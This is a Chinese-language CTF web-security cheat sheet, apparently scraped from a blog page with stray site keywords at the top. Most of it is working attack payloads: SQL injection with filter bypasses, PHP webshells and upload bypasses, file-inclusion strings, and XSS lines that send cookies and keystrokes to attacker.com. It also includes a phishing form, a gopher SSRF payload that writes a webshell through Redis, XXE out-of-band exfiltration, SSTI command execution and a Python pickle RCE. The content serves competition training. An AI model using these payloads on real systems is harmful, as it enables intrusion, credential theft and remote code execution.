2026/1/12 2:00:05
网站建设
项目流程
插画设计,长春网站优化教程,沐风模板WordPress,怎么用自己的网站做链轮#x1f4ca; 一、Web考点知识体系全景Web安全知识体系
├── 注入类漏洞
│ ├── SQL注入
│ ├── 命令注入
│ ├── 模板注入
│ └── XML注入
├── 客户端漏洞
│ ├── XSS (跨站脚本)
│ ├── CSRF (跨站请求伪造)
│ ├── 点击劫持
│ … 一、Web考点知识体系全景Web安全知识体系 ├── 注入类漏洞 │ ├── SQL注入 │ ├── 命令注入 │ ├── 模板注入 │ └── XML注入 ├── 客户端漏洞 │ ├── XSS (跨站脚本) │ ├── CSRF (跨站请求伪造) │ ├── 点击劫持 │ └── 开放重定向 ├── 文件处理漏洞 │ ├── 文件上传 │ ├── 文件包含 │ ├── 路径遍历 │ └── XXE (XML外部实体) ├── 逻辑漏洞 │ ├── 认证绕过 │ ├── 越权访问 │ ├── 条件竞争 │ └── 业务逻辑缺陷 ├── 服务端漏洞 │ ├── SSTI (服务端模板注入) │ ├── 反序列化 │ ├── SSRF (服务端请求伪造) │ └── 表达式注入 └── 其他考点 ├── HTTP协议攻击 ├── 信息泄露 ├── 代码审计 └── 编码绕过 二、SQL注入详解2.1 检测SQL注入点-- 数字型注入 ?id1 and 11 -- 正常 ?id1 and 12 -- 异常 -- 字符型注入 ?id1 and 11 -- 正常 ?id1 and 12 -- 异常 -- 布尔盲注检测 ?id1 and ascii(substr(database(),1,1))97 -- 根据页面变化判断 ?id1 and if(11,sleep(2),0) -- 时间盲注2.2 常用Payload分类-- 联合查询 1 union select 1,database(),3-- 1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- 1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- 1 union select 1,group_concat(username,:,password),3 from users-- -- 报错注入 1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)-- 1 and extractvalue(1,concat(0x7e,(select database())))-- 1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -- 布尔盲注 1 and length(database())5-- 1 and substr(database(),1,1)t-- 1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))97-- -- 时间盲注 1 and if(ascii(substr(database(),1,1))100,sleep(3),0)-- 1 and (select sleep(3) from users where usernameadmin)-- -- 堆叠注入 1; show databases;-- 1; select if(11,sleep(3),0);--2.3 绕过技巧-- 大小写绕过 UnIoN SeLeCt -- 双写绕过 ununionion selselectect -- 注释符绕过 union/**/select union/*!50000select*/ -- 编码绕过 union%0aselect union%09select -- 内联注释 /*!union*/ /*!select*/ -- 科学计数法 1.e0union select -- 16进制编码 union select 0x31,0x32 三、文件上传漏洞3.1 常见检查与绕过# 1. 前端JS验证绕过 # 直接修改HTML或禁用JS # 使用BurpSuite拦截修改 # 2. 后缀名黑名单绕过 shell.php - shell.php5 (PHP5) - shell.phtml - shell.phps - shell.php7 - shell.phar - shell.htaccess - shell.pHp (大小写) - shell.php. (Windows特性) - shell.php%20 - shell.php:1.jpg (NTFS特性) - shell.php::$DATA # 3. Content-Type绕过 Content-Type: image/jpeg Content-Type: image/png Content-Type: text/plain - image/jpeg # 4. 文件头检测绕过 # 在文件开头添加图片头 GIF89a ‰PNG \xff\xd8\xff (JPEG) ?php ... ? # 5. 二次渲染绕过 # 上传包含一句话的图片马 # 或用工具制作免杀图片马3.2 实战Payload# 一句话木马合集 ?php eval($_POST[cmd]);? ?php system($_GET[cmd]);? ?php assert($_POST[cmd]);? ? $_GET[cmd];? script languagephpeval($_POST[cmd])/script # 无字母数字webshell ?$_~%a0%af%a0%af[0];$__$_^%8c%86%8c%86[2];$___$__($___.$__);? # .htaccess文件攻击 FilesMatch shell.jpg SetHandler application/x-httpd-php /FilesMatch AddType application/x-httpd-php .jpg # 利用文件包含 # 上传.txt文件再通过文件包含解析 ?php include upload/shell.txt;? 四、文件包含漏洞4.1 包含类# PHP文件包含函数 include() include_once() require() require_once() # 读取文件 file_get_contents() file() readfile() highlight_file() show_source() # RFI (远程文件包含) - 需要allow_url_includeOn ?pagehttp://attacker.com/shell.txt ?pageftp://attacker.com/shell.txt ?pagephp://input ?pagedata://text/plain,?php phpinfo();? ?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 # LFI (本地文件包含) ?page../../../../etc/passwd ?pagephp://filter/convert.base64-encode/resourceindex.php ?pagezip://path/to/file.zip%23shell.php ?pagephar://path/to/file.phar/shell.php4.2 利用技巧# 1. 目录遍历 ?file../../../etc/passwd ?file....//....//....//etc/passwd ?file..\..\..\windows\win.ini # 2. PHP协议利用 # 读取源码 php://filter/convert.base64-encode/resourceindex.php php://filter/readconvert.base64-encode/resourceindex.php php://filter/zlib.deflate/convert.base64-encode/resource/etc/passwd # 执行代码 php://input [POST DATA: ?php system(ls);?] data://text/plain,?php phpinfo();? expect://id # 3. ZIP/PHAR协议 zip:///var/www/html/uploads/shell.zip%23shell.php phar://./uploads/shell.phar/shell.php # 4. 日志包含 ?file/var/log/nginx/access.log ?file/var/log/apache2/access.log ?file/var/log/auth.log # 在User-Agent中插入?php system($_GET[cmd]);? # 然后包含日志文件 五、XSS跨站脚本攻击5.1 XSS类型与Payload# 反射型XSS scriptalert(1)/script svg/onloadalert(1) img srcx onerroralert(1) scriptalert(1)/script scriptalert(1)/script img srcx onerroralert(1) javascript:alert(1) # 存储型XSS scriptfetch(http://attacker.com/steal?cookiedocument.cookie)/script img srcx onerrornew Image().srchttp://attacker.com/steal?cookiedocument.cookie; # DOM型XSS # 利用innerHTML、document.write、eval等 img srcx onerroralert(1) # 绕过技巧 ScRiPtalert(1)/ScRiPt script\x20typetext/javascriptjavascript:alert(1);/script iframe/srcjavascript:alert(1) # 编码绕过 %3Cscript%3Ealert(1)%3C/script%3E scrscriptiptalert(1)/scr/scriptipt \u003cscript\u003ealert(1)\u003c/script\u003e #x3c;script#x3e;alert(1)#x3c;/script#x3e;5.2 利用框架# Beef-XSS Hook script srchttp://attacker:3000/hook.js/script # 窃取Cookie scriptdocument.locationhttp://attacker.com/steal?cookiedocument.cookie/script scriptnew Image().srchttp://attacker.com/steal?cookiedocument.cookie/script # 键盘记录 script document.onkeypress function(e) { new Image().srchttp://attacker.com/log?keye.key; } /script # 钓鱼攻击 script document.body.innerHTML form actionhttp://attacker.com/steal methodPOST input nameusername placeholderUsername input namepassword typepassword placeholderPassword input typesubmit valueLogin /form; /script 六、SSRF服务端请求伪造6.1 SSRF攻击点# 常用参数 url file path src load read target domain redirect uri page6.2 利用协议# 探测内网 http://127.0.0.1:80 http://127.0.0.1:22 http://127.0.0.1:3306 http://192.168.1.1:8080 # 文件读取 file:///etc/passwd file:///C:/Windows/win.ini file:///proc/self/cmdline file:///proc/self/environ # 协议利用 gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20eval%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a dict://127.0.0.1:6379/info ldap://127.0.0.1:389 ftp://attacker.com:21/file.txt # 绕过技巧 http://127.0.0.1 - http://localhost http://127.0.0.1 - http://[::1] http://127.0.0.1 - http://2130706433 http://127.0.0.1 - http://0x7f000001 http://127.0.0.1 - http://127.1 http://127.0.0.1 - http://127.0.0.1.nip.io 七、XXE XML外部实体注入7.1 基础XXE!-- 读取文件 -- ?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo !-- 带外数据传输 -- !DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] foosend;/foo !-- evil.dtd 内容 -- !ENTITY % all !ENTITY send SYSTEM http://attacker.com/?%file; %all;7.2 利用方式# 1. 文件读取 file:///etc/passwd file:///c:/windows/win.ini file:///proc/self/cmdline file:///proc/self/environ # 2. 内网探测 !ENTITY xxe SYSTEM http://192.168.1.1:80 # 3. SSRF !ENTITY xxe SYSTEM http://127.0.0.1:8080/admin # 4. 盲XXE !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; 八、SSTI服务端模板注入8.1 常见模板引擎检测# Flask/Jinja2 {{7 * 7}} 49 {{config}} 或 {{self}} {{.__class__.__mro__[1].__subclasses__()}} {{config.__class__.__init__.__globals__[os].popen(ls).read()}} # Tornado {{7 * 7}} 49 {% import os %}{{ os.popen(whoami).read() }} # Twig {{7 * 7}} 49 {{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(id)}}8.2 常用Payload# 1. 基本检测 {{7*7}} - 7777777 {{7 * 7}} - 49 {{config}} {{self}} # 2. 命令执行 # Jinja2 {{.__class__.__mro__[1].__subclasses__()[408](ls, shellTrue, stdout-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__[os].popen(ls).read()}} # 3. 写文件 {{.__class__.__mro__[1].__subclasses__()[408](cat /flag /tmp/flag, shellTrue)}} 九、反序列化漏洞9.1 PHP反序列化# 常见危险函数 unserialize() __destruct() # 析构函数触发 __wakeup() # 反序列化时触发 __toString() # 对象被当作字符串时触发 # 基本Payload构造 class Test { public $cmd whoami; public function __destruct() { system($this-cmd); } } $obj new Test(); echo serialize($obj); # 输出: O:4:Test:1:{s:3:cmd;s:6:whoami;}9.2 Python反序列化# pickle利用 import pickle import base64 import os class RCE: def __reduce__(self): return (os.system, (id,)) pickled pickle.dumps(RCE()) print(base64.b64encode(pickled)) 十、信息泄露与路径遍历10.1 常见泄露点# Git泄露 /.git/ /.git/config /.git/logs/HEAD /.git/index # SVN泄露 /.svn/ /.svn/entries /.svn/wc.db # DS_Store /.DS_Store # 备份文件 index.php.bak index.php.swp index.php~ web.zip.bak database.sql.bak # 配置文件 /.env /config.php /web.config .htaccess robots.txt # API/调试信息 /phpinfo.php /test.php /debug.php /admin/phpinfo.php10.2 路径遍历Payload# Unix/Linux ../../../etc/passwd ../../../../etc/passwd ....//....//....//etc/passwd /var/www/html/../../etc/passwd /etc/passwd%00 /etc/passwd%00.jpg # Windows ..\..\..\windows\win.ini C:\windows\win.ini ..\..\..\..\..\windows\system32\drivers\etc\hosts # 编码绕过 ..%2f..%2f..%2fetc%2fpasswd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ..%252f..%252f..%252fetc%252fpasswd ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd️ 十一、实用工具链11.1 浏览器插件HackTools - Web安全工具集合Wappalyzer - 技术栈识别EditThisCookie - Cookie管理器SwitchyOmega - 代理切换React/ Vue Developer Tools - 前端框架调试11.2 常用命令# 目录扫描 dirsearch -u http://target.com -e php,html,txt gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # 子域名枚举 subfinder -d target.com amass enum -d target.com gobuster dns -d target.com -w subdomains.txt # 端口扫描 nmap -sS -sV -p- target.com masscan -p1-65535 target.com --rate1000 # SQL注入 sqlmap -u http://target.com?id1 --dbs sqlmap -r request.txt --batch --risk3 --level5 # 文件包含测试 ffuf -w LFI-wordlist.txt -u http://target.com/page?fileFUZZ # XXE测试 xxe-injector XXEinjector 十二、实战解题流程12.1 标准化攻击流程信息收集--》漏洞发现--》漏洞利用--》获取shell--》权限提升--》获取flag12.2 检查清单□ 1. 信息收集 - [ ] 端口扫描 - [ ] 目录扫描 - [ ] 子域名枚举 - [ ] 技术栈识别 - [ ] 源代码分析 - [ ] robots.txt/.git等 □ 2. 漏洞探测 - [ ] SQL注入测试 - [ ] XSS测试 - [ ] 文件上传测试 - [ ] 文件包含测试 - [ ] 命令注入测试 - [ ] SSRF测试 - [ ] XXE测试 - [ ] 反序列化测试 □ 3. 认证绕过 - [ ] 弱口令爆破 - [ ] 密码重置逻辑漏洞 - [ ] Session伪造 - [ ] JWT攻击 - [ ] OAuth绕过 □ 4. 权限提升 - [ ] 水平越权 - [ ] 垂直越权 - [ ] IDOR测试 十三、高级技巧与思维13.1 不常见绕过技巧# 1. 特殊字符截断 test.php%00.jpg test.php\x00.jpg test.php;.jpg test.php%0d%0a.jpg test.php%0a.jpg # 2. 空格绕过 img/srcx/onerroralert(1) svg/onloadalert(1) # 3. 标签属性绕过 iframe srcdocscriptalert(1)/script/iframe details ontogglealert(1) video onloadstartalert(1) src1 # 4. Unicode编码 \u003cscript\u003ealert(1)\u003c/script\u003e ſcript src//evil.site/x.js # 5. CSS注入 styleimport http://evil.com/x.css;/style div stylebackground:url(javascript:alert(1))13.2 比赛实用技巧时间管理先做容易的标记难题团队协作明确分工及时同步自动化编写脚本处理重复任务信息记录用Markdown记录所有发现思维发散尝试非预期解法源码审计找到源码就等于成功一半关注新漏洞0day、1day经常出现利用环境Docker逃逸、K8s逃逸等 十四、CTF Web题目的Flag位置14.1 常见Flag位置# 数据库 SELECT flag FROM flags SELECT password FROM users WHERE usernameadmin # 文件系统 /flag /root/flag.txt /home/ctf/flag /var/www/html/flag.php /opt/flag /proc/1/environ /proc/self/cwd/flag # 环境变量 echo $FLAG env | grep -i flag # 网络 curl http://127.0.0.1/flag curl http://admin.localhost/flag # 内存 cat /proc/1/mem | strings14.2 终极思维Web题的本质是找到入口点 - 任何用户输入都是可疑的突破边界 - 从当前权限进入更高权限信息拼接 - 把碎片信息组合成完整攻击链自动化思维 - 手工验证后立即写脚本控制反转 - 从被服务器控制到控制服务器记住每个输入点都是一个机会每个输出点都可能泄露信息。保持好奇心保持怀疑保持探索